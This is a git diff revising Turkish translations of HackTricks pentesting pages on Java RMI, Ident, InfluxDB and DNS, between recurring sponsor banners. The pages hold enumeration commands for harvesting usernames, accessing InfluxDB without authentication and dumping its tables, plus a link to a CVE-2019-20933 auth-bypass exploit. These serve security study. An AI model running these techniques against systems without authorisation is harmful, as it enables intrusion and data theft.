## Bilinen Arayüzler
-[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser), bilinen RMI hizmetlerinin dahili veritabanında listelenmişse, sınıfları veya arayüzleri `known` olarak işaretler. Bu durumlarda, ilgili RMI hizmeti hakkında daha fazla bilgi almak için `known` eylemini kullanabilirsiniz:
+[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser), sınıfları veya arayüzleri, bilinen _RMI servisleri_ veritabanında listelenmişse `known` olarak işaretler. Bu durumlarda, ilgili _RMI servisi_ hakkında daha fazla bilgi almak için `known` eylemini kullanabilirsiniz:
```
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
@@ -299,9 +299,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
* [BaRMIe](https://github.com/NickstaDB/BaRMIe)
## Referanslar
-* [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
-## HackTricks Otomatik Komutları
+* [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
```
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
@@ -312,24 +311,24 @@ Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
```
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!
+Sıfırdan kahramana kadar AWS hackleme öğreninhtARTE (HackTricks AWS Red Team Expert)!
-HackTricks'i desteklemenin diğer yolları:
+HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
-* **Hacking hilelerinizi HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
+* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin.
diff --git a/network-services-pentesting/113-pentesting-ident.md b/network-services-pentesting/113-pentesting-ident.md
index 61d82b204..b7c3794f1 100644
--- a/network-services-pentesting/113-pentesting-ident.md
+++ b/network-services-pentesting/113-pentesting-ident.md
@@ -2,41 +2,41 @@
-AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyınhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
+htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!
HackTricks'ı desteklemenin diğer yolları:
-* Şirketinizi **HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz, [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
-* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
-* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** katkıda bulunun.
+- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
+- **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
+- **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
-Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **Trickest** kullanarak kolayca iş akışları oluşturun ve otomatikleştirin.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Temel Bilgiler
-**Ident Protokolü**, bir **TCP bağlantısını** belirli bir kullanıcıyla ilişkilendirmek için **İnternet** üzerinde kullanılır. Başlangıçta **ağ yönetimi** ve **güvenlik** konularında yardımcı olmak amacıyla tasarlanmıştır ve bir sunucunun, belirli bir TCP bağlantısının kullanıcısı hakkında bilgi talep etmek için port 113'te bir istemciye sorgu yapmasına izin vererek çalışır.
+**Ident Protokolü**, bir **TCP bağlantısını** belirli bir kullanıcıyla ilişkilendirmek için **İnternet** üzerinde kullanılır. Başlangıçta **ağ yönetimi** ve **güvenlik** konularına yardımcı olmak amacıyla tasarlanmış olup, bir sunucunun belirli bir TCP bağlantısının kullanıcısı hakkında bilgi talep etmek için bir istemciyi 113 numaralı porta sorgulamasına izin vererek çalışır.
-Ancak, modern gizlilik endişeleri ve kötüye kullanım potansiyeli nedeniyle, kullanımı yetkisiz kişilere kullanıcı bilgilerini yanlışlıkla açığa çıkarabileceği için azalmıştır. Bu riskleri azaltmak için, şifreli bağlantılar ve sıkı erişim kontrolleri gibi gelişmiş güvenlik önlemleri önerilir.
+Ancak, modern gizlilik endişeleri ve kötüye kullanım potansiyeli nedeniyle, kullanımı yetkisiz taraflara kullanıcı bilgilerini yanlışlıkla açığa çıkarabileceğinden azalmıştır. Bu riskleri azaltmak için şifreli bağlantılar ve sıkı erişim kontrolleri gibi gelişmiş güvenlik önlemleri önerilmektedir.
**Varsayılan port:** 113
```
PORT STATE SERVICE
113/tcp open ident
```
-## **Sorgulama**
+## **Sıralama**
-### **Manuel - Kullanıcıyı Bul/Servisi Tanımla**
+### **Manuel - Kullanıcıyı Al/ Servisi Tanımla**
-Eğer bir makine ident ve samba (445) servislerini çalıştırıyorsa ve samba'ya 43218 portu üzerinden bağlıysanız, samba servisini çalıştıran kullanıcıyı aşağıdaki şekilde elde edebilirsiniz:
+Eğer bir makine ident ve samba (445) servislerini çalıştırıyorsa ve samba'ya 43218 portunu kullanarak bağlıysanız, samba servisini çalıştıran kullanıcıyı aşağıdaki şekilde alabilirsiniz:
![](<../.gitbook/assets/image (15) (1) (1).png>)
@@ -50,7 +50,7 @@ Diğer hatalar:
### Nmap
-Varsayılan olarak (`-sC``), nmap her çalışan portun her kullanıcısını tanımlar:
+Varsayılan olarak (\`-sC\`\`) nmap, her çalışan portun her kullanıcısını tanımlayacaktır:
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0)
@@ -67,7 +67,7 @@ PORT STATE SERVICE VERSION
```
### Ident-user-enum
-[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum), her bir hedef sistemin TCP bağlantı noktasını dinleyen işlemin sahibini belirlemek için ident servisine (113/TCP) sorgu yapmak için kullanılan basit bir PERL betiğidir. Toplanan kullanıcı adları listesi, diğer ağ hizmetlerinde şifre tahmin saldırıları için kullanılabilir. `apt install ident-user-enum` komutuyla kurulabilir.
+[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum), hedef sistemin her TCP bağlantı noktasında dinleyen işlemin sahibini belirlemek için ident servisini (113/TCP) sorgulamak için basit bir PERL betiğidir. Toplanan kullanıcı adları listesi, diğer ağ servislerinde şifre tahmin saldırıları için kullanılabilir. `apt install ident-user-enum` komutu ile kurulabilir.
```
root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
@@ -85,9 +85,9 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
identd.conf
-
+
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -113,14 +113,14 @@ Note: apt install ident-user-enum ident-user-enum {IP} 22 23 139 445 (try all
```
-AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek içinhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!
+Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğreninhtARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
-* **Hacking hilelerinizi HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
+* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/network-services-pentesting/8086-pentesting-influxdb.md b/network-services-pentesting/8086-pentesting-influxdb.md
index cef739c7b..52e9c7653 100644
--- a/network-services-pentesting/8086-pentesting-influxdb.md
+++ b/network-services-pentesting/8086-pentesting-influxdb.md
@@ -1,61 +1,61 @@
# 8086 - InfluxDB Pentesting
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturabilir ve otomatikleştirebilirsiniz.\
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!
+Sıfırdan kahramana kadar AWS hackleme öğreninhtARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
-* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
## Temel Bilgiler
-**InfluxDB**, InfluxData tarafından geliştirilen açık kaynaklı bir **zaman serisi veritabanı (TSDB)**'dir. TSDB'ler, zaman damgası-değer çiftlerinden oluşan zaman serisi verilerini depolamak ve sunmak için optimize edilmiştir. Genel amaçlı veritabanlarına kıyasla, TSDB'ler zaman serisi veri kümeleri için **depolama alanında** ve **performansta** önemli iyileştirmeler sağlar. Özel sıkıştırma algoritmaları kullanır ve eski verileri otomatik olarak kaldırmak için yapılandırılabilir. Özel veritabanı dizinleri de sorgu performansını artırır.
+**InfluxDB**, InfluxData tarafından geliştirilen açık kaynaklı bir **zaman serisi veritabanı (TSDB)**'dir. TSDB'ler, zaman damgası-değer çiftlerinden oluşan zaman serisi verilerini depolamak ve sunmak için optimize edilmiştir. Genel amaçlı veritabanlarına kıyasla, TSDB'ler zaman serisi veri kümeleri için **depolama alanında** ve **performansta** önemli iyileştirmeler sağlar. Özel sıkıştırma algoritmaları kullanırlar ve eski verileri otomatik olarak kaldırmak için yapılandırılabilirler. Özel veritabanı dizinleri de sorgu performansını artırır.
**Varsayılan port**: 8086
```
PORT STATE SERVICE VERSION
8086/tcp open http InfluxDB http admin 1.7.5
```
-## Numaralandırma
+## Sıralama
-Bir pentester açısından, bu hassas bilgileri depolayabilen başka bir veritabanı olduğu için tüm bilgileri nasıl döküleceğini bilmek ilginç olabilir.
+Bir pentester açısından bu da hassas bilgileri depolayabilecek başka bir veritabanı olduğundan, tüm bilgileri nasıl döküleceğini bilmek ilginç olabilir.
### Kimlik Doğrulama
-InfluxDB kimlik doğrulama gerektirebilir veya gerektirmeyebilir.
+InfluxDB kimlik doğrulaması gerektirebilir veya gerektirmeyebilir
```bash
# Try unauthenticated
influx -host 'host name' -port 'port #'
> use _internal
```
-Eğer şu şekilde bir hata alıyorsanız: `ERR: kimlik doğrulama bilgileri ayrıştırılamıyor`, bu demektir ki **bazı kimlik doğrulama bilgileri bekleniyor**.
+Eğer bu şekilde bir hata alırsanız: `ERR: kimlik doğrulama kimlik bilgilerini ayrıştıramıyor` demek ki **bazı kimlik bilgilerini bekliyor**.
```
influx –username influx –password influx_pass
```
-influxdb'de yetkilendirmeyi atlamaya izin veren bir güvenlik açığı vardı: [**CVE-2019-20933**](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933)
+Influxdb'de kimlik doğrulamasını atlamaya izin veren bir zafiyet bulunmaktaydı: [**CVE-2019-20933**](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933)
### El ile Numaralandırma
Bu örneğin bilgileri [**buradan**](https://oznetnerd.com/2017/06/11/getting-know-influxdb/) alınmıştır.
-#### Veritabanlarını Göster
+#### Veritabanlarını göster
-Bulunan veritabanları `telegraf` ve `internal` (bu her yerde bulunur)dir.
+Bulunan veritabanları `telegraf` ve `internal` (bu her yerde bulunur) olarak belirlenmiştir.
```bash
> show databases
name: databases
@@ -64,9 +64,9 @@ name
telegraf
_internal
```
-#### Tabloları/Ölçümleri Göster
+#### Tablolar/Ölçümler Göster
-[**InfluxDB belgeleri**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/), InfluxDB'deki **ölçümlerin** SQL tablolarıyla paralel olduğunu açıklar. Bu **ölçümlerin** isimlendirmesi, ilgili içeriğe işaret eder ve her biri belirli bir varlıkla ilgili verileri barındırır.
+[**InfluxDB belgeleri**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/), InfluxDB'deki **ölçümlerin** SQL tablolarıyla paralel olduğunu açıklar. Bu **ölçümlerin** isimlendirmesi, içeriklerine işaret eder ve her biri belirli bir varlıkla ilgili verileri barındırır.
```bash
> show measurements
name: measurements
@@ -104,9 +104,9 @@ inodes_used integer
[ ... more keys ...]
```
-#### Tabloyu Dökümle
+#### Tabloyu Dök
-Ve son olarak, tabloyu dökümleyebilirsiniz. Bunu şu şekilde yapabilirsiniz:
+Ve son olarak, tabloyu dökmeniz gerekebilir, aşağıdaki gibi bir şey yaparak:
```bash
select * from cpu
name: cpu
@@ -125,22 +125,22 @@ msf6 > use auxiliary/scanner/http/influxdb_enum
```
-AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek içinhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!
+Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğreninhtARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
-* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
+* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\
-Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
+[**Trickest**]'i (https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
diff --git a/network-services-pentesting/pentesting-dns.md b/network-services-pentesting/pentesting-dns.md
index 6dfb43d2d..6fb92850d 100644
--- a/network-services-pentesting/pentesting-dns.md
+++ b/network-services-pentesting/pentesting-dns.md
@@ -2,29 +2,29 @@
-AWS hacklemeyi sıfırdan kahramanla öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
+AWS hacklemeyi sıfırdan kahramana öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
-* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
-* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) keşfedin
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
-**Hemen kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20+'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın. Bu araçlar ve özellikler, keşiften raporlamaya kadar uzanan özel araçlar, tespit ve istismar modülleri geliştirerek pentesterlara daha fazla zaman kazandırır, daha derine inmelerini, kabukları patlatmalarını ve eğlenmelerini sağlar.
+**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabuklar açmak ve eğlenmek için zaman kazanmalarını sağlıyoruz.
{% embed url="https://pentest-tools.com/" %}
## **Temel Bilgiler**
-**Alan Adı Sistemi (DNS)**, kullanıcıların sayısal İnternet Protokolü (IP) adresleri yerine google.com veya facebook.com gibi **kolay hatırlanan alan adları** aracılığıyla web sitelerine erişmelerini sağlayan internetin dizin hizmeti olarak görev yapar. Alan adlarını IP adreslerine çevirerek, DNS web tarayıcılarının internet kaynaklarını hızlı bir şekilde yüklemesini sağlar ve çevrimiçi dünyada gezinmeyi basitleştirir.
+**Alan Adı Sistemi (DNS)**, kullanıcıların sayısal İnternet Protokolü (IP) adresleri yerine google.com veya facebook.com gibi **kolay hatırlanan alan adları** aracılığıyla web sitelerine erişmesine izin veren internetin dizinidir. Alan adlarını IP adreslerine çevirerek DNS, web tarayıcılarının internet kaynaklarını hızlı bir şekilde yüklemesini sağlar, çevrimiçi dünyada gezinmemizi basitleştirir.
-**Varsayılan port:** 53
+**Varsayılan bağlantı noktası:** 53
```
PORT STATE SERVICE REASON
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
@@ -33,42 +33,37 @@ PORT STATE SERVICE REASON
```
### Farklı DNS Sunucuları
-- **DNS Kök Sunucuları**: Bunlar DNS hiyerarşisinin en üstünde bulunur ve alt düzey sunucular yanıt vermezse devreye girerek üst düzey alanları yönetir. İşlevlerini Internet Corporation for Assigned Names and Numbers (**ICANN**) denetler ve küresel olarak 13 adet bulunur.
-
-- **Yetkili Ad Sunucuları**: Bu sunucular, belirli bölgelerindeki sorgular için kesin yanıtlar sunar ve kesin karar verme yetkisine sahiptir. Yanıt sağlayamazlarsa sorgu kök sunuculara yönlendirilir.
-
-- **Yetkisiz Ad Sunucuları**: DNS bölgelerine sahip olmayan bu sunucular, diğer sunuculara yapılan sorgular aracılığıyla alan bilgilerini toplar.
-
-- **Önbelleğe Alma DNS Sunucusu**: Bu tür bir sunucu, gelecekteki isteklerin yanıt sürelerini hızlandırmak için önceki sorgu yanıtlarını belirli bir süre boyunca belleğinde saklar ve bu süre yetkili sunucu tarafından belirlenir.
-
-- **Yönlendirme Sunucusu**: Basit bir rolü olan yönlendirme sunucuları, sorguları başka bir sunucuya iletmektedir.
-
-- **Çözümleyici**: Bilgisayarlara veya yönlendiricilere entegre edilen çözümleyiciler, yerel olarak ad çözümlemesini gerçekleştirir ve yetkili olarak kabul edilmez.
+- **DNS Kök Sunucuları**: DNS hiyerarşisinin en üstünde bulunurlar, üst düzey alanları yönetir ve alt düzey sunucular yanıt vermezse devreye girerler. İnternet Tahsisli Adlar ve Sayılar Kurumu (**ICANN**) işletmelerini denetler ve küresel olarak 13 adet bulunmaktadır.
+- **Yetkili Ad Sunucuları**: Bu sunucular, belirlenmiş bölgelerindeki sorgular için nihai karara sahiptir ve kesin cevaplar sunarlar. Yanıt sağlayamazlarsa, sorgu kök sunuculara yükseltilir.
+- **Yetkisiz Ad Sunucuları**: DNS bölgeleri üzerinde sahiplikleri olmadığından, bu sunucular alan bilgilerini diğer sunuculara sorgular aracılığıyla toplarlar.
+- **Önbelleğe Alan DNS Sunucusu**: Bu tür bir sunucu, gelecekteki istekler için yanıt sürelerini hızlandırmak için önceki sorgu yanıtlarını belirli bir süre boyunca hafızasında tutar; önbellek süresi yetkili sunucu tarafından belirlenir.
+- **Yönlendirme Sunucusu**: Basit bir rol üstlenen yönlendirme sunucuları, sorguları sadece başka bir sunucuya iletirler.
+- **Çözümleyici**: Bilgisayarlar veya yönlendiriciler içinde entegre edilen çözümleyiciler, yerel olarak ad çözümünü gerçekleştirir ve yetkili olarak kabul edilmezler.
## Numaralandırma
### **Banner Yakalama**
-DNS'te banner bulunmamaktadır, ancak çoğu BIND ad sunucusunda çalışacak olan `version.bind. CHAOS TXT` için sihirli sorguyu yakalayabilirsiniz.\
+DNS'te bannerlar olmasa da, `version.bind. CHAOS TXT` için sihirli sorguyu yakalayabilirsiniz, bu sorgu çoğu BIND ad sunucusunda çalışacaktır.\
Bu sorguyu `dig` kullanarak gerçekleştirebilirsiniz:
```bash
dig version.bind CHAOS TXT @DNS
```
-Ayrıca, [`fpdns`](https://github.com/kirei/fpdns) aracıyla sunucunun parmak izi de alınabilir.
